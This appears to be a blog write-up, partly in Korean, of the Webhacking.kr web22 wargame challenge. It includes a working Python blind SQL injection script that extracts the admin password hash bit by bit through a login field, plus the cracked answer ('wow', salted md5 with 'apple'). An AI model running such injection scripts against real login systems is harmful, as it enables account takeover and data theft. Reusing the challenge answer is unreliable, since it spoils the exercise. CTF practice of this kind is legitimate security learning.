Post

Webhacking.kr - web22

web22

1
2
mission : login as admin
Column Name : id, pw

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
21번이랑 동일하게 풀 수 있음.
admin의 pw 길이는 32
결과는 pw : 6c9ca386a903921d7fa230ffa0ffc153 

근데 아니라고 함 -> db에는 해쉬값으로 바꿔서 넣어진 듯함.
따라서 해쉬값으로 알아내야 함.

우선 아이디가 다르고 비밀번호를 동일하게 해서 해쉬화 과정에서 salt 같은 것이 있는지 확인

1. id : asdf, pw : 1 -> f234f990c39cb3a3b50c9ddc374422d2
2. id : qwer, pw : 1 -> f234f990c39cb3a3b50c9ddc374422d2

같으므로 어떤 해쉬로 암호화하는지 찾아야 함.

저 값을 검색해보니 1apple을 md5해쉬화하면 저 값이 나옴.
pw=2일 때 해쉬값도 확인해보니 2apple일 때 저 값이 나옴.

따라서 {pw}apple을 md5해쉬화 한 것. 따라서 admin pw md5 hash 값을 decode 하면
wowapple이므로 admin pw는 wow임.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url='https://webhacking.kr/challenge/bonus-2/index.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'PHPSESSID':'[redacted]'} 

bit_len=''
bit_val=''
pw=''

for i in range(1,33) :
    payload={'uuid':"' or id='admin' and if(length(bin(ascii(substr(pw,"+str(i)+",1))))=7,1,0)#", 'pw':'1'}
    res=requests.post(url, headers=headers, cookies=cookies, data=payload)
    if 'Wrong password!' in res.text :
        bit_len=7
    else :
        bit_len=6
    
    for j in range(1,bit_len+1):
        payload={'uuid':"' or id='admin' and if(substr(bin(ascii(substr(pw,"+str(i)+",1))),"+str(j)+",1)=0,1,0)#", 'pw':'1'}
        res=requests.post(url, headers=headers, cookies=cookies, data=payload)
        if 'Wrong password!' in res.text :
            bit_val+='0'
        else :
            bit_val+='1'
          
    pw+=chr(int(bit_val,2))
    bit_val=''
    print('pw :',pw)
This post is licensed under CC BY 4.0 by the author.